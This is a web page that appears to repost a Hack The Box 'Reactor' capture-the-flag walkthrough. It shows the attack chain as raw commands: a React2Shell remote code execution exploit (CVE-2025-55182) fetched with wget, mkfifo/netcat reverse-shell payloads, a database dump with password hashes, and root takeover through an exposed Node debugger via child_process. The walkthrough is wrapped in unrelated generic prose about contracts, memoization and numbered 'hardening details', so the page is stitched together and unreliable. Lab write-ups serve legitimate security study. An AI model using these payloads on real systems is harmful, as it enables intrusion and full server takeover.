Home / Articles

Practical notes: Reactor — HacktheBox Walkthrough

Operable walkthrough of Practical notes: Reactor — HacktheBox Walkthrough: contracts, checks, and drop-in code slots for teams shipping this pattern.

Publisher: REACTAPP.TOP5 min read1042 words

This article is published in English.

Sources: Reactor ⚛️ — HacktheBox Walkthrough

The following notes reconstruct a practical path around “Reactor — HacktheBox Walkthrough”. Emphasis stays on contracts, checks, and drop-in code placeholders rather than motivational framing. When working through the Overview stage, write down the contract first: required inputs, success signal, and what happens on partial failure. That checklist keeps later code changes honest. Prefer small, testable units over sprawling scripts. When a step fails, the failure should point at a single responsibility rather than a tangled pipeline.

sudo nmap -sCV -v -p- -T4 -O --min-rate=5000 <target_ip>
firefox http://<target_ip>:3000
msf > search react2shell

Matching Modules
================

   #  Full Name                                                 Disclosure Date  Rank       Check  Name
   -  ---------                                                 ---------------  ----       -----  ----
   0  exploit/multi/http/react2shell_unauth_rce_cve_2025_55182  2025-12-03       excellent  Yes    Unauthenticated RCE in React Server Components (React2Shell)
   1    \_ target: Next.js - Unix Command                       .                .          .      .
   2    \_ target: Next.js - Windows Command                    .                .          .      .
   3    \_ target: Waku - Unix Command                          .                .          .      .
   4    \_ target: Waku - Windows Command                       .                .          .      .
wget https://gist.githubusercontent.com/byt3n33dl3/be855564f3fb24303d74f4380519a0d1/raw/23974d507a28047fef99b6b8235a9eabf24258c1/CVE-2025-55182.py
python CVE-2025-55182.py -t http://10.129.110.118:3000 -c id
 python CVE-2025-55182.py -t http://<target_ip>:3000 -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <VPN_IP> 9001 >/tmp/f"
sqlite3 reactor.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
    role TEXT NOT NULL,
    email TEXT
);
INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
CREATE TABLE sensor_logs (
    id INTEGER PRIMARY KEY,
    timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
    sensor_id TEXT,
    reading REAL,
    status TEXT
);
INSERT INTO sensor_logs VALUES(1,'2025-12-28 14:32:01','CORE_TEMP_01',324.5,'NOMINAL');
INSERT INTO sensor_logs VALUES(2,'2025-12-28 14:32:01','PRESSURE_01',155.199999999999988,'NOMINAL');
INSERT INTO sensor_logs VALUES(3,'2025-12-28 14:32:01','COOLANT_FLOW',18.3999999999999985,'CAUTION');
COMMIT;
ssh engineer@<target_ip>
ss -tulnp
ps aux | grep "9229"
ssh -L 9229:127.0.0.1:9229 engineer@10.129.110.124
~ ✗ ssh -L 9229:127.0.0.1:9229 engineer@10.129.110.124
engineer@10.129.110.124's password:
 ____  _____    _    ____ _____ ___  ____
|  _ \| ____|  / \  / ___|_   _/ _ \|  _ \
| |_) |  _|   / _ \| |     | || | | | |_) |
|  _ <| |___ / ___ \ |___  | || |_| |  _ <
|_| \_\_____/_/   \_\____| |_| \___/|_| \_\

    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7

    AUTHORIZED PERSONNEL ONLY
Last login: Mon Sep 14 10:37:34 2026 from 10.10.15.108
engineer@reactor:~$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>
(To exit, press Ctrl+C again or Ctrl+D or type .exit)
debug>
require('child_process').execSync('id').toString()
nc -nvlp 9227
require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.108 9227 >/tmp/f').toString()
Next.js react2shell RCE (CVE-2025-55182)
        │
        ▼
Low-privileged shell as ubuntu
        │
        ▼
Exposed SQLite database in app directory
        │
        ▼
Cracked engineer's password hash
        │
        ▼
SSH as engineer, grab user.txt
        │
        ▼
Found root-owned Node process running --inspect
        │
        ▼
Port forward the 9229 port to access the chrome devtool console
        │
        ▼
Ran the malicious code to confirm the commandd working with root privilege
        │
        ▼
Feed the reverse shell payload to get the root users reverse shell.
        │
        ▼
Read /root/root.txt

Takeaway

The Takeaway stage works best when treated as a measurable surface. Capture one golden transcript, one failure case, and the rollback note before expanding scope. Treat this stage as a contract between inputs and validated outputs. Name the artifacts, define success checks, and refuse silent partial completion. Keep render work cheap and push expensive derivation behind memoization only after measuring. Premature memo can hide stale props bugs.

Operational checklist

For the Operational checklist stage, define the inputs, the owner of the step, and the exit criteria before changing code. Operators should be able to re-run the step from a known checkpoint without guessing hidden state.

Document the happy path and the recovery path together. Retries, human gates, and dead-letter handling are part of the product, not later polish.

Colocate state with the component that owns the mutation. Lifting everything to a global store makes timing bugs harder to see.

Write a short runbook: how to rotate keys, how to drain the queue, how to roll back the last ingest.

Prefer small, testable units over sprawling scripts. When a step fails, the failure should point at a single responsibility rather than a tangled pipeline.

Colocate state with the component that owns the mutation. Lifting everything to a global store makes timing bugs harder to see.

Before promoting the stack, freeze versions, capture a golden transcript for the critical path, and confirm rollback steps. Shared environments need rate limits, tenancy checks, and a clear owner for secret rotation. Prefer boring reliability over clever one-off demos.

Batch note for 4f0074e7b98e: keep provider keys out of the repo, set a per-session token ceiling, and store transcripts next to the eval fixtures so later model swaps stay comparable.

For the hardening note 0 stage, define the inputs, the owner of the step, and the exit criteria before changing code. Operators should be able to re-run the step from a known checkpoint without guessing hidden state. Keep configuration outside application code. Environment files, secret stores, and feature flags belong in one place operators can audit without reading the whole graph.

Hardening detail 0/825: measure wall time, error class, and token spend for this note, then decide whether to keep the change based on a fixed question set rather than anecdote.

When working through the hardening note 1 stage, write down the contract first: required inputs, success signal, and what happens on partial failure. That checklist keeps later code changes honest. Prefer small, testable units over sprawling scripts. When a step fails, the failure should point at a single responsibility rather than a tangled pipeline.

Hardening detail 1/825: measure wall time, error class, and token spend for this note, then decide whether to keep the change based on a fixed question set rather than anecdote.